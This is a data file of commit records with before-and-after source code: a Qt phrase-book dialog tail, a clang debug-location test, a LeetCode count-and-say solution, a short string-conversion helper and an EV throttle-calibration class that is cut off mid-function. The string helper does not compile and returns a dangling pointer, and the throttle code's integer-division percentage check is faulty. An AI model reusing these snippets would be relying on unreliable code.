sourceLed->setText(QString());\n        targetLed->setText(QString());\n        definitionLed->setText(QString());\n    }\n\n    sourceLed->setEnabled(indexValid);\n    targetLed->setEnabled(indexValid);\n    definitionLed->setEnabled(indexValid);\n    removeBut->setEnabled(indexValid);\n\n    sourceLed->blockSignals(false);\n    targetLed->blockSignals(false);\n    definitionLed->blockSignals(false);\n\n    QWidget *f = QApplication::focusWidget();\n    if (f != sourceLed && f != targetLed && f != definitionLed) {\n        QLineEdit *led = (sourceLed->text() == NewPhrase ? sourceLed : targetLed);\n        led->setFocus();\n        led->selectAll();\n    } else {\n        static_cast<QLineEdit*>(f)->selectAll();\n    }\n}\n\nQModelIndex PhraseBookBox::currentPhraseIndex() const\n{\n    return m_sortedPhraseModel->mapToSource(phraseList->currentIndex());\n}\n\nQT_END_NAMESPACE\n<|endoftext|>"}
{"text":"<commit_before>\/\/ RUN: %clang_cc1 -gline-tables-only -std=c++11 -fexceptions -fcxx-exceptions -S -emit-llvm %s -o - | FileCheck %s\n\/\/ RUN: %clang_cc1 -gline-tables-only -std=c++11 -fexceptions -fcxx-exceptions -S -emit-llvm %s -o - -triple i686-linux-gnu | FileCheck %s\n\n\/\/ XFAIL: win32\n\nint &src();\nint *sink();\nextern \"C\" __complex float complex_src();\nextern \"C\" __complex float *complex_sink();\n\n\/\/ CHECK-LABEL: define\nvoid f1() {\n#line 100\n  * \/\/ The store for the assignment should be attributed to the start of the\n      \/\/ assignment expression here, regardless of the location of subexpressions.\n      sink() = src();\n  \/\/ CHECK: store {{.*}}, !dbg [[DBG_F1:!.*]]\n}\n\nstruct foo {\n  int i;\n  int &j;\n  __complex float k;\n  foo();\n};\n\n\/\/ CHECK-LABEL: define\nfoo::foo()\n    :\n#line 200\n      i \/\/ CHECK: store i32 {{.*}} !dbg [[DBG_FOO_VALUE:!.*]]\n      (src()),\n      j \/\/ CHECK: store i32* {{.*}} !dbg [[DBG_FOO_REF:!.*]]\n      (src()),\n      k \/\/ CHECK: store float {{.*}} !dbg [[DBG_FOO_COMPLEX:!.*]]\n      (complex_src()) {\n}\n\n\/\/ CHECK-LABEL: define {{.*}}f2{{.*}}\nvoid f2() {\n#line 300\n  * \/\/ CHECK: store float {{.*}} !dbg [[DBG_F2:!.*]]\n      complex_sink() = complex_src();\n}\n\n\/\/ CHECK-LABEL: define\nvoid f3() {\n#line 400\n  * \/\/ CHECK: store float {{.*}} !dbg [[DBG_F3:!.*]]\n      complex_sink() += complex_src();\n}\n\n\/\/ CHECK-LABEL: define\nvoid f4() {\n#line 500\n  auto x \/\/ CHECK: store {{.*}} !dbg [[DBG_F4:!.*]]\n      = src();\n}\n\n\/\/ CHECK-LABEL: define\nvoid f5() {\n#line 600\n  auto x \/\/ CHECK: store float {{.*}} !dbg [[DBG_F5:!.*]]\n      = complex_src();\n}\n\nstruct agg { int i; };\nagg agg_src();\n\n\/\/ CHECK-LABEL: define\nvoid f6() {\n  agg x;\n#line 700\n  x \/\/ CHECK: call void @llvm.memcpy{{.*}} !dbg [[DBG_F6:!.*]]\n      = agg_src();\n}\n\n\/\/ CHECK-LABEL: define\nvoid f7() {\n  int *src1();\n  int src2();\n#line 800\n  int x = ( \/\/ CHECK: load {{.*}} !dbg [[DBG_F7:!.*]]\n      src1())[src2()];\n}\n\n\/\/ CHECK-LABEL: define\nvoid f8() {\n  int src1[1];\n  int src2();\n#line 900\n  int x = ( \/\/ CHECK: load {{.*}} !dbg [[DBG_F8:!.*]]\n      src1)[src2()];\n}\n\n\/\/ CHECK-LABEL: define\nvoid f9(int i) {\n  int src1[1][i];\n  int src2();\n#line 1000\n  auto x = ( \/\/ CHECK: getelementptr {{.*}} !dbg [[DBG_F9:!.*]]\n      src1)[src2()];\n}\n\ninline void *operator new(decltype(sizeof(1)), void *p) noexcept { return p; }\n\n\/\/ CHECK-LABEL: define\nvoid f10() {\n  void *void_src();\n  ( \/\/ CHECK: icmp {{.*}} !dbg [[DBG_F10_ICMP:.*]]\n    \/\/ CHECK: store {{.*}} !dbg [[DBG_F10_STORE:!.*]]\n#line 1100\n      new (void_src()) int(src()));\n}\n\n\/\/ noexcept just to simplify the codegen a bit\nvoid fn() noexcept(true);\n\nstruct bar {\n  bar();\n  \/\/ noexcept(false) to convolute the global dtor\n  ~bar() noexcept(false);\n};\n\/\/ global ctor cleanup\n\/\/ CHECK-LABEL: define\n\/\/ CHECK: invoke{{ }}\n\/\/ CHECK: invoke{{ }}\n\/\/ CHECK:   to label {{.*}}, !dbg [[DBG_GLBL_CTOR_B:!.*]]\n\n\/\/ terminate caller\n\/\/ CHECK-LABEL: define\n\n\/\/ global dtor cleanup\n\/\/ CHECK-LABEL: define\n\/\/ CHECK: invoke{{ }}\n\/\/ CHECK: invoke{{ }}\n\/\/ CHECK:   to label {{.*}}, !dbg [[DBG_GLBL_DTOR_B:!.*]]\n#line 1200\nbar b[1] = { \/\/\n    (fn(),   \/\/\n     bar())};\n\n\/\/ CHECK-LABEL: define\n__complex double f11() {\n  __complex double f;\n\/\/ CHECK: store {{.*}} !dbg [[DBG_F11:!.*]]\n#line 1300\n  return f;\n}\n\n\/\/ CHECK-LABEL: define\nvoid f12() {\n  int f12_1();\n  void f12_2(int = f12_1());\n\/\/ CHECK: call {{(signext )?}}i32 {{.*}} !dbg [[DBG_F12:!.*]]\n#line 1400\n  f12_2();\n}\n\n\/\/ CHECK-LABEL: define\nvoid f13() {\n\/\/ CHECK: call {{.*}} !dbg [[DBG_F13:!.*]]\n#define F13_IMPL 1, src()\n  1,\n#line 1500\n  F13_IMPL;\n}\n\nstruct f14 {\n  f14(int);\n};\n\n\/\/ CHECK-LABEL: define\n\/\/ CHECK-LABEL: define\n\/\/ CHECK-LABEL: define\nstruct {\n\/\/ CHECK: call {{.*}}, !dbg [[DBG_F14_CTOR_CALL:![0-9]*]]\n#line 1600\n  f14 v\n      =\n      1;\n} f14_inst;\n\n\/\/ CHECK-LABEL: define\n\n\/\/ CHECK: [[DBG_F1]] = !MDLocation(line: 100,\n\/\/ CHECK: [[DBG_FOO_VALUE]] = !MDLocation(line: 200,\n\/\/ CHECK: [[DBG_FOO_REF]] = !MDLocation(line: 202,\n\/\/ CHECK: [[DBG_FOO_COMPLEX]] = !MDLocation(line: 204,\n\/\/ CHECK: [[DBG_F2]] = !MDLocation(line: 300,\n\/\/ CHECK: [[DBG_F3]] = !MDLocation(line: 400,\n\/\/ CHECK: [[DBG_F4]] = !MDLocation(line: 500,\n\/\/ CHECK: [[DBG_F5]] = !MDLocation(line: 600,\n\/\/ CHECK: [[DBG_F6]] = !MDLocation(line: 700,\n\/\/ CHECK: [[DBG_F7]] = !MDLocation(line: 800,\n\/\/ CHECK: [[DBG_F8]] = !MDLocation(line: 900,\n\/\/ CHECK: [[DBG_F9]] = !MDLocation(line: 1000,\n\/\/ CHECK: [[DBG_F10_ICMP]] = !MDLocation(line: 1100,\n\/\/ CHECK: [[DBG_F10_STORE]] = !MDLocation(line: 1100,\n\/\/ CHECK: [[DBG_GLBL_CTOR_B]] = !MDLocation(line: 1200,\n\/\/ CHECK: [[DBG_GLBL_DTOR_B]] = !MDLocation(line: 1200,\n\/\/ CHECK: [[DBG_F11]] = !MDLocation(line: 1300,\n\/\/ CHECK: [[DBG_F12]] = !MDLocation(line: 1400,\n\/\/ CHECK: [[DBG_F13]] = !MDLocation(line: 1500,\n\/\/ CHECK: [[DBG_F14_CTOR_CALL]] = !MDLocation(line: 1600,\n<commit_msg>Refactor test so it's not lazily emitted on a global, simplifying ordering when more test cases are added<commit_after>\/\/ RUN: %clang_cc1 -gline-tables-only -std=c++11 -fexceptions -fcxx-exceptions -S -emit-llvm %s -o - | FileCheck %s\n\/\/ RUN: %clang_cc1 -gline-tables-only -std=c++11 -fexceptions -fcxx-exceptions -S -emit-llvm %s -o - -triple i686-linux-gnu | FileCheck %s\n\n\/\/ XFAIL: win32\n\nint &src();\nint *sink();\nextern \"C\" __complex float complex_src();\nextern \"C\" __complex float *complex_sink();\n\n\/\/ CHECK-LABEL: define\nvoid f1() {\n#line 100\n  * \/\/ The store for the assignment should be attributed to the start of the\n      \/\/ assignment expression here, regardless of the location of subexpressions.\n      sink() = src();\n  \/\/ CHECK: store {{.*}}, !dbg [[DBG_F1:!.*]]\n}\n\nstruct foo {\n  int i;\n  int &j;\n  __complex float k;\n  foo();\n};\n\n\/\/ CHECK-LABEL: define\nfoo::foo()\n    :\n#line 200\n      i \/\/ CHECK: store i32 {{.*}} !dbg [[DBG_FOO_VALUE:!.*]]\n      (src()),\n      j \/\/ CHECK: store i32* {{.*}} !dbg [[DBG_FOO_REF:!.*]]\n      (src()),\n      k \/\/ CHECK: store float {{.*}} !dbg [[DBG_FOO_COMPLEX:!.*]]\n      (complex_src()) {\n}\n\n\/\/ CHECK-LABEL: define {{.*}}f2{{.*}}\nvoid f2() {\n#line 300\n  * \/\/ CHECK: store float {{.*}} !dbg [[DBG_F2:!.*]]\n      complex_sink() = complex_src();\n}\n\n\/\/ CHECK-LABEL: define\nvoid f3() {\n#line 400\n  * \/\/ CHECK: store float {{.*}} !dbg [[DBG_F3:!.*]]\n      complex_sink() += complex_src();\n}\n\n\/\/ CHECK-LABEL: define\nvoid f4() {\n#line 500\n  auto x \/\/ CHECK: store {{.*}} !dbg [[DBG_F4:!.*]]\n      = src();\n}\n\n\/\/ CHECK-LABEL: define\nvoid f5() {\n#line 600\n  auto x \/\/ CHECK: store float {{.*}} !dbg [[DBG_F5:!.*]]\n      = complex_src();\n}\n\nstruct agg { int i; };\nagg agg_src();\n\n\/\/ CHECK-LABEL: define\nvoid f6() {\n  agg x;\n#line 700\n  x \/\/ CHECK: call void @llvm.memcpy{{.*}} !dbg [[DBG_F6:!.*]]\n      = agg_src();\n}\n\n\/\/ CHECK-LABEL: define\nvoid f7() {\n  int *src1();\n  int src2();\n#line 800\n  int x = ( \/\/ CHECK: load {{.*}} !dbg [[DBG_F7:!.*]]\n      src1())[src2()];\n}\n\n\/\/ CHECK-LABEL: define\nvoid f8() {\n  int src1[1];\n  int src2();\n#line 900\n  int x = ( \/\/ CHECK: load {{.*}} !dbg [[DBG_F8:!.*]]\n      src1)[src2()];\n}\n\n\/\/ CHECK-LABEL: define\nvoid f9(int i) {\n  int src1[1][i];\n  int src2();\n#line 1000\n  auto x = ( \/\/ CHECK: getelementptr {{.*}} !dbg [[DBG_F9:!.*]]\n      src1)[src2()];\n}\n\ninline void *operator new(decltype(sizeof(1)), void *p) noexcept { return p; }\n\n\/\/ CHECK-LABEL: define\nvoid f10() {\n  void *void_src();\n  ( \/\/ CHECK: icmp {{.*}} !dbg [[DBG_F10_ICMP:.*]]\n    \/\/ CHECK: store {{.*}} !dbg [[DBG_F10_STORE:!.*]]\n#line 1100\n      new (void_src()) int(src()));\n}\n\n\/\/ noexcept just to simplify the codegen a bit\nvoid fn() noexcept(true);\n\nstruct bar {\n  bar();\n  \/\/ noexcept(false) to convolute the global dtor\n  ~bar() noexcept(false);\n};\n\/\/ global ctor cleanup\n\/\/ CHECK-LABEL: define\n\/\/ CHECK: invoke{{ }}\n\/\/ CHECK: invoke{{ }}\n\/\/ CHECK:   to label {{.*}}, !dbg [[DBG_GLBL_CTOR_B:!.*]]\n\n\/\/ terminate caller\n\/\/ CHECK-LABEL: define\n\n\/\/ global dtor cleanup\n\/\/ CHECK-LABEL: define\n\/\/ CHECK: invoke{{ }}\n\/\/ CHECK: invoke{{ }}\n\/\/ CHECK:   to label {{.*}}, !dbg [[DBG_GLBL_DTOR_B:!.*]]\n#line 1200\nbar b[1] = { \/\/\n    (fn(),   \/\/\n     bar())};\n\n\/\/ CHECK-LABEL: define\n__complex double f11() {\n  __complex double f;\n\/\/ CHECK: store {{.*}} !dbg [[DBG_F11:!.*]]\n#line 1300\n  return f;\n}\n\n\/\/ CHECK-LABEL: define\nvoid f12() {\n  int f12_1();\n  void f12_2(int = f12_1());\n\/\/ CHECK: call {{(signext )?}}i32 {{.*}} !dbg [[DBG_F12:!.*]]\n#line 1400\n  f12_2();\n}\n\n\/\/ CHECK-LABEL: define\nvoid f13() {\n\/\/ CHECK: call {{.*}} !dbg [[DBG_F13:!.*]]\n#define F13_IMPL 1, src()\n  1,\n#line 1500\n  F13_IMPL;\n}\n\nstruct f14 {\n  f14(int);\n};\n\n\/\/ CHECK-LABEL: define\nstruct f14_use {\n\/\/ CHECK: call {{.*}}, !dbg [[DBG_F14_CTOR_CALL:![0-9]*]]\n#line 1600\n  f14 v\n      =\n      1;\n  f14_use();\n};\n\nf14_use::f14_use() = default;\n\n\/\/ CHECK-LABEL: define\n\n\/\/ CHECK: [[DBG_F1]] = !MDLocation(line: 100,\n\/\/ CHECK: [[DBG_FOO_VALUE]] = !MDLocation(line: 200,\n\/\/ CHECK: [[DBG_FOO_REF]] = !MDLocation(line: 202,\n\/\/ CHECK: [[DBG_FOO_COMPLEX]] = !MDLocation(line: 204,\n\/\/ CHECK: [[DBG_F2]] = !MDLocation(line: 300,\n\/\/ CHECK: [[DBG_F3]] = !MDLocation(line: 400,\n\/\/ CHECK: [[DBG_F4]] = !MDLocation(line: 500,\n\/\/ CHECK: [[DBG_F5]] = !MDLocation(line: 600,\n\/\/ CHECK: [[DBG_F6]] = !MDLocation(line: 700,\n\/\/ CHECK: [[DBG_F7]] = !MDLocation(line: 800,\n\/\/ CHECK: [[DBG_F8]] = !MDLocation(line: 900,\n\/\/ CHECK: [[DBG_F9]] = !MDLocation(line: 1000,\n\/\/ CHECK: [[DBG_F10_ICMP]] = !MDLocation(line: 1100,\n\/\/ CHECK: [[DBG_F10_STORE]] = !MDLocation(line: 1100,\n\/\/ CHECK: [[DBG_GLBL_CTOR_B]] = !MDLocation(line: 1200,\n\/\/ CHECK: [[DBG_GLBL_DTOR_B]] = !MDLocation(line: 1200,\n\/\/ CHECK: [[DBG_F11]] = !MDLocation(line: 1300,\n\/\/ CHECK: [[DBG_F12]] = !MDLocation(line: 1400,\n\/\/ CHECK: [[DBG_F13]] = !MDLocation(line: 1500,\n\/\/ CHECK: [[DBG_F14_CTOR_CALL]] = !MDLocation(line: 1600,\n<|endoftext|>"}
{"text":"<commit_before>namespace CountAndSay {\n  class Solution {\n  public:\n      string countAndSay(int n) {\n          if (n == 0) {\n              return \"\";\n          }\n          \n          if (n == 1) {\n              return \"1\";\n          }\n          \n          string s = countAndSay(n - 1);\n          \n          char curChar = s[0];\n          int count = 1;\n          int i = 1;\n          string res = \"\";\n          while (i < s.size()) {\n              if (s[i] == curChar) {\n                  count++;\n              } else {\n                  res += to_string(count);\n                  res += curChar;\n                  \n                  \/\/ reset\n                  curChar = s[i];\n                  count = 1;\n              }\n              i++;\n          }\n          res += to_string(count);\n          res += curChar;\n          return res;\n      }\n  };\n}\n<commit_msg>Update CountAndSay.cc<commit_after>\/**\n * https:\/\/oj.leetcode.com\/problems\/count-and-say\/\n *\/\nnamespace CountAndSay {\n  class Solution {\n  public:\n      string countAndSay(int n) {\n          if (n == 0) {\n              return \"\";\n          }\n          \n          if (n == 1) {\n              return \"1\";\n          }\n          \n          string s = countAndSay(n - 1);\n          \n          char curChar = s[0];\n          int count = 1;\n          int i = 1;\n          string res = \"\";\n          while (i < s.size()) {\n              if (s[i] == curChar) {\n                  count++;\n              } else {\n                  res += to_string(count);\n                  res += curChar;\n                  \n                  \/\/ reset\n                  curChar = s[i];\n                  count = 1;\n              }\n              i++;\n          }\n          res += to_string(count);\n          res += curChar;\n          return res;\n      }\n  };\n}\n<|endoftext|>"}
{"text":"<commit_before>\nconst char* toConstChar(std:string strg)\n{\nreturn strg.c_str()\n}\n<commit_msg>Update stringopps.cpp<commit_after>\/\/\/ Useful conversion in visual studio \nconst char* toConstChar(std:string strg)\n{\nreturn strg.c_str()\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * ThrottleDetector.cpp\n *\n * This class can detect up to two potentiometers and determine their min\/max values,\n * whether they read low to high or high to low, and if the second potentiometer is\n * the inverse of the first.\n *\n Copyright (c) 2013 Collin Kidder, Michael Neuweiler, Charles Galpin\n\n Permission is hereby granted, free of charge, to any person obtaining\n a copy of this software and associated documentation files (the\n \"Software\"), to deal in the Software without restriction, including\n without limitation the rights to use, copy, modify, merge, publish,\n distribute, sublicense, and\/or sell copies of the Software, and to\n permit persons to whom the Software is furnished to do so, subject to\n the following conditions:\n\n The above copyright notice and this permission notice shall be included\n in all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n *\/\n\n#include \"ThrottleDetector.h\"\n\n\/*\n * The constructor takes a pointer to a throttle\n *\/\nThrottleDetector::ThrottleDetector(Throttle *throttle) {\n\tthis->throttle = throttle;\n\tconfig = (PotThrottleConfiguration *) throttle->getConfiguration();\n\tstate = DoNothing;\n\tmaxThrottleReadingDeviationPercent = 50; \/\/ 5% in 0-1000 scale\n\tLogger::debug(\"ThrottleDetector constructed with throttle %d\", throttle);\n\tresetValues();\n}\n\n\/*\n * Nothing to do in the destructor right now but good to have as a general rule\n *\/\nThrottleDetector::~ThrottleDetector() {\n}\n\n\/*\n * Operations run asynchronously in small increments each time this\n * method is called so we track the state and resume the operation each call\n *\/\nvoid ThrottleDetector::handleTick() {\n\tswitch (state) {\n\tcase DetectMinWait:\n\t\tdetectMinWait();\n\t\tbreak;\n\tcase DetectMinCalibrate:\n\t\tdetectMinCalibrate();\n\t\tbreak;\n\tcase DetectMaxWait:\n\t\tdetectMaxWait();\n\t\tbreak;\n\tcase DetectMaxCalibrate:\n\t\tdetectMaxCalibrate();\n\t\tbreak;\n\n\tcase DoNothing:\n\t\tbreak;\n\t}\n}\n\n\/*\n * Run the complete throttle detection.\n * Step 1. Kick it off\n *\/\nvoid ThrottleDetector::detect() {\n\tSerialUSB.println(\"Throttle detection starting. Do NOT press the pedal until instructed.\");\n\n\tresetValues();\n\n\t\/\/ reset stats\n\tsampleCount = 0;\n\tlinearCount = 0;\n\tinverseCount = 0;\n\tfor (int i=0; i<200; i++) {\n\t\tthrottle1Values[i]=0;\n\t\tthrottle2Values[i]=0;\n\t}\n\n\t\/\/ we wait for 2 seconds so kick this off\n\tstartTime = millis();\n\tstate = DetectMinWait;\n\n\tTickHandler::getInstance()->attach(this, CFG_TICK_INTERVAL_POT_THROTTLE);\n}\n\n\/*\n * Step 2. Wait for 2 seconds then start taking MIN readings\n *\/\nvoid ThrottleDetector::detectMinWait() {\n\tif ((millis() - startTime) >= 2000) {\n\t\t\/\/ drop initial readings as they seem to be invalid\n\t\treadThrottleValues();\n\t\tresetValues();\n\n\t\t\/\/ take MIN readings for 2 seconds\n\t\tstartTime = millis();\n\t\treadThrottleValues();\n\t\tstate = DetectMinCalibrate;\n\t}\n}\n\n\/*\n * Step 3. Take MIN readings for 2 seconds then start waiting again\n *\/\nvoid ThrottleDetector::detectMinCalibrate() {\n\tif ((millis() - startTime) < 2000 || sampleCount < maxSamples\/3 ) {\n\t\treadThrottleValues();\n\t} else {\n\t\tdisplayCalibratedValues(true);\n\n\t\t\/\/ save rest minimums\n\t\tthrottle1MinRest = throttle1Min;  \/\/ minimum sensor value at rest\n\t\tthrottle2MinRest = throttle2Min;  \/\/ minimum sensor value at rest\n\t\tthrottle2MaxRest = throttle2Max;  \/\/ maximum sensor value at rest\n\n\t\tSerialUSB.println(\"\");\n\t\tSerialUSB.println(\"Smoothly depress the pedal to full acceleration\");\n\t\tSerialUSB.println(\"and hold the pedal until complete\");\n\n\t\t\/\/ wait for 5 seconds so they can react and then still get some readings\n\t\tstartTime = millis();\n\t\tstate = DetectMaxWait;\n\t}\n}\n\n\/*\n * Step 4. Wait for 5 seconds then start taking MAX readings\n *\/\nvoid ThrottleDetector::detectMaxWait() {\n\tif ((millis() - startTime) >= 5000 || sampleCount >= maxSamples*2\/3) {\n\t\t\/\/ drop initial readings as they seem to be invalid\n\t\treadThrottleValues();\n\t\tresetValues();\n\n\t\t\/\/ take MAX readings for 2 seconds\n\t\tstartTime = millis();\n\t\treadThrottleValues();\n\t\tstate = DetectMaxCalibrate;\n\t} else {\n\t\treadThrottleValues();\n\t}\n}\n\n\/*\n * Step 5. Take MAX readings for 3 seconds then show results\n *\/\nvoid ThrottleDetector::detectMaxCalibrate() {\n\tif ((millis() - startTime) < 2000 && sampleCount < maxSamples) {\n\t\treadThrottleValues();\n\t} else {\n\t\tdisplayCalibratedValues(false);\n\n\t\t\/\/ Determine throttle type based off min\/max\n\t\tif (throttle1MinRest > throttle1Min) { \/\/ high to low pot\n\t\t\tthrottle1HighLow = true;\n\t\t}\n\n\t\tif (throttle2MinRest > throttle2Min) { \/\/ high to low pot\n\t\t\tthrottle2HighLow = true;\n\t\t}\n\n\t\t\/\/ restore the true min\n\t\tthrottle1Min = throttle1MinRest;\n\n\t\tif ((throttle1HighLow && !throttle2HighLow)\n\t\t\t\t|| (throttle2HighLow && !throttle1HighLow)) {\n\t\t\tthrottle2Inverse = true;\n\t\t}\n\n\t\t\/\/ Detect grounded pin (always zero) or floating values which indicate no potentiometer provided\n\t\t\/\/ If the values deviate by more than 15% we assume floating\n\t\tint restDiff = abs(throttle2MaxRest-throttle2MinRest) * 100 \/ throttle2MaxRest;\n\t\tint maxDiff = abs(throttle2Max-throttle2Min) * 100 \/ throttle2Max;\n\t\tif ((throttle2MinRest == 0 && throttle2MaxRest == 0\n\t\t\t\t&& throttle2Min == INT16_MAX && throttle2Max == 0)\n\t\t\t\t|| (restDiff > maxThrottleReadingDeviationPercent\n\t\t\t\t\t&& maxDiff > maxThrottleReadingDeviationPercent)) {\n\t\t\tpotentiometerCount = 1;\n\t\t} else {\n\t\t\tpotentiometerCount = 2;\n\t\t}\n\n\t\t\/\/ restore the true min\n\t\tthrottle2Min = throttle2MinRest;\n\n\t\t\/\/ Determine throttle subtype by examining the data sampled\n\t\tfor (int i=0; i<sampleCount; i++) {\n\t\t\t\/\/ normalize the values to a 0-1000 scale using the found min\/max\n\t\t\tuint16_t value1 = normalize(throttle1Values[i], throttle1Min, throttle1Max, 0, 1000);\n\t\t\tuint16_t value2 = normalize(throttle2Values[i],\n\t\t\t\t\t\t\t\t\tthrottle2Inverse ? throttle2Max : throttle2Min,\n\t\t\t\t\t\t\t\t\tthrottle2Inverse ? throttle2Min : throttle2Max,\n\t\t\t\t\t\t\t\t\t0,1000);\n\n\t\t\t\/\/ see if they match known subtypes\n\t\t\tlinearCount += checkLinear(value1, value2);\n\t\t\tinverseCount += checkInverse(value1, value2);\n\n\t\t\t\/\/SerialUSB.println(\"NT1: \" + String(value1) + \", NT2: \" + String(value2) + \", L: \" + String(linearCount) + \", I: \" + String(inverseCount));\n\t\t}\n\n\t\tthrottleSubType = 0;\n\t\tif (potentiometerCount > 1) {\n\t\t\t\/\/ For dual pots, we trust the detection of >75%\n\t\t\tif ( linearCount\/sampleCount*100 > 75 ) {\n\t\t\t\tthrottleSubType = 1;\n\t\t\t} else if ( inverseCount\/sampleCount*100 > 75 ) {\n\t\t\t\tthrottleSubType =  2;\n\t\t\t}\n\t\t} else {\n\t\t\t\/\/ For single pots we use the high\/low\n\t\t\tif (throttle1HighLow) {\n\t\t\t\tthrottleSubType =  2;\n\t\t\t} else {\n\t\t\t\tthrottleSubType = 1;\n\t\t\t}\n\t\t}\n\n\t\tSerialUSB.println(\"\");\n\t\tSerialUSB.println(\"=======================================\");\n\t\tSerialUSB.println(\"Detection complete\");\n\t\tSerialUSB.print(\"Num samples taken: \");\n\t\tSerialUSB.println(sampleCount);\n\t\tSerialUSB.print(\"Num potentiometers found: \");\n\t\tSerialUSB.println(potentiometerCount);\n\t\tSerialUSB.print(\"T1: \");\n\t\tSerialUSB.print(throttle1Min, DEC);\n\t\tSerialUSB.print(\" to \");\n\t\tSerialUSB.print(throttle1Max, DEC);\n\t\tSerialUSB.println(throttle1HighLow ? \" HIGH-LOW\" : \" LOW-HIGH\");\n\n\t\tif (potentiometerCount > 1) {\n\t\t\tSerialUSB.print(\"T2: \");\n\t\t\tSerialUSB.print(throttle2Inverse ? throttle2Max : throttle2Min, DEC);\n\t\t\tSerialUSB.print(\" to \");\n\t\t\tSerialUSB.print(throttle2Inverse ? throttle2Min : throttle2Max, DEC);\n\t\t\tSerialUSB.print(throttle2HighLow ? \" HIGH-LOW\" : \" LOW-HIGH\");\n\t\t\tSerialUSB.println(throttle2Inverse ? \" (Inverse of T1)\" : \"\");\n\t\t\tSerialUSB.print(\"Num linear throttle matches: \");\n\t\t\tSerialUSB.println(linearCount);\n\t\t\tSerialUSB.print(\"Num inverse throttle matches: \");\n\t\t\tSerialUSB.println(inverseCount);\n\t\t}\n\n\t\tSerialUSB.print(\"Throttle type: \");\n\t\tif (throttleSubType == 0) {\n\t\t\tSerialUSB.println(\"UNKNOWN\");\n\t\t} else if (throttleSubType == 1) {\n\t\t\tSerialUSB.println(\"Linear\");\n\t\t} else if (throttleSubType == 2) {\n\t\t\tSerialUSB.println(\"Inverse\");\n\t\t}\n\n\t\t\/*\n\t\tSerialUSB.println();\n\t\tSerialUSB.println(\"----- RAW values ----\");\n\t\tfor (int i=0; i<sampleCount; i++) {\n\t\t\tSerialUSB.println(\"T1: \" + String(throttle1Values[i]) + \", T2: \" + String(throttle2Values[i]));\n\t\t}\n\t\t*\/\n\n\t\tSerialUSB.println(\"========================================\");\n\n\t\t\/\/ update the throttle's configuration (without storing it yet)\n\t\tconfig->minimumLevel1 = throttle1Min;\n\t\tconfig->maximumLevel1 = throttle1Max;\n\t\tconfig->numberPotMeters = potentiometerCount;\n\t\tif (config->numberPotMeters > 1) {\n\t\t\tconfig->minimumLevel2 = throttle2Min;\n\t\t\tconfig->maximumLevel2 = throttle2Max;\n\t\t} else {\n\t\t\tconfig->minimumLevel2 = 0;\n\t\t\tconfig->maximumLevel2 = 0;\n\t\t}\n\t\tconfig->throttleSubType = throttleSubType;\n\n\t\t\/\/ Done!\n\t\tstate = DoNothing;\n\t\tTickHandler::getInstance()->detach(this);\n\n\t\t\/\/ send updates to ichip wifi\n\t\tDeviceManager::getInstance()->sendMessage(DEVICE_WIFI, ICHIP2128, MSG_CONFIG_CHANGE, NULL);\n\t}\n}\n\n\/*\n * Reset\/initialize some values\n *\/\nvoid ThrottleDetector::resetValues() {\n\tthrottle1Min = INT16_MAX;\n\tthrottle1Max = 0;\n\tthrottle2Min = INT16_MAX;\n\tthrottle2Max = 0;\n\n\tpotentiometerCount = 1;\n\tthrottle1HighLow = false;\n\tthrottle2HighLow = false;\n\tthrottle2Inverse = false;\n}\n\n\n\/*\n * Reads values from the throttles.\n *\/\nvoid ThrottleDetector::readThrottleValues() {\n\tRawSignalData *rawSignal = throttle->acquireRawSignal();\n\tthrottle1Values[sampleCount] = rawSignal->input1;\n\tthrottle2Values[sampleCount] = rawSignal->input2;\n\tsampleCount++;\n\n\t\/\/ record the minimum sensor value\n\tif (rawSignal->input1 < throttle1Min) {\n\t\tthrottle1Min = rawSignal->input1;\n\t}\n\n\t\/\/ record the maximum sensor value\n\tif (rawSignal->input1 > throttle1Max) {\n\t\tthrottle1Max = rawSignal->input1;\n\t}\n\n\tif (throttle2Provided()) {\n\t\t\/\/ record the minimum sensor value\n\t\tif (rawSignal->input2 < throttle2Min) {\n\t\t\tthrottle2Min = rawSignal->input2;\n\t\t}\n\n\t\t\/\/ record the maximum sensor value\n\t\tif (rawSignal->input2 > throttle2Max) {\n\t\t\tthrottle2Max = rawSignal->input2;\n\t\t}\n\t}\n}\n\n\/*\n * Compares two throttle readings and returns 1 if they are a mirror\n * of each other (within a tolerance) otherwise returns 0\n * Assumes the values are already mapped to a 0-1000 scale\n *\/\nint ThrottleDetector::checkLinear(uint16_t throttle1Value, uint16_t throttle2Value) {\n\tint match = 0;\n\n\tif ( abs(throttle1Value-throttle2Value) < maxThrottleReadingDeviationPercent) {\n\t\tmatch = 1;\n\t}\n\treturn match;\n}\n\n\/*\n * Compares two throttle readings and returns 1 if they are the inverse\n * of each other (within a tolerance) otherwise returns 0\n * Assumes the values are already mapped to a 0-1000 scale\n *\/\nint ThrottleDetector::checkInverse(uint16_t throttle1Value, uint16_t throttle2Value) {\n\tint match = 0;\n\n\tif (abs(1000 - (throttle1Value+throttle2Value)) <  maxThrottleReadingDeviationPercent) {\n\t\tmatch = 1;\n\t}\n\n\treturn match;\n}\n\nvoid ThrottleDetector::displayCalibratedValues(bool minPedal) {\n\tSerialUSB.println(\"\");\n\tSerialUSB.print(\"At \");\n\tif (minPedal) {\n\t\tSerialUSB.print(\"MIN\");\n\t} else {\n\t\tSerialUSB.print(\"MAX\");\n\t}\n\tSerialUSB.print(\" T1: \");\n\tSerialUSB.print(throttle1Min, DEC);\n\tSerialUSB.print(\" to \");\n\tSerialUSB.print(throttle1Max, DEC);\n\tif (throttle2Provided()) {\n\t\tSerialUSB.print(\" T2: \");\n\t\tSerialUSB.print(throttle2Min, DEC);\n\t\tSerialUSB.print(\" to \");\n\t\tSerialUSB.print(throttle2Max, DEC);\n\t}\n\tSerialUSB.println(\"\");\n}\n\n\/**\n * Map and constrain the value to the given range\n *\/\nuint16_t ThrottleDetector::normalize(uint16_t sensorValue, uint16_t sensorMin, uint16_t 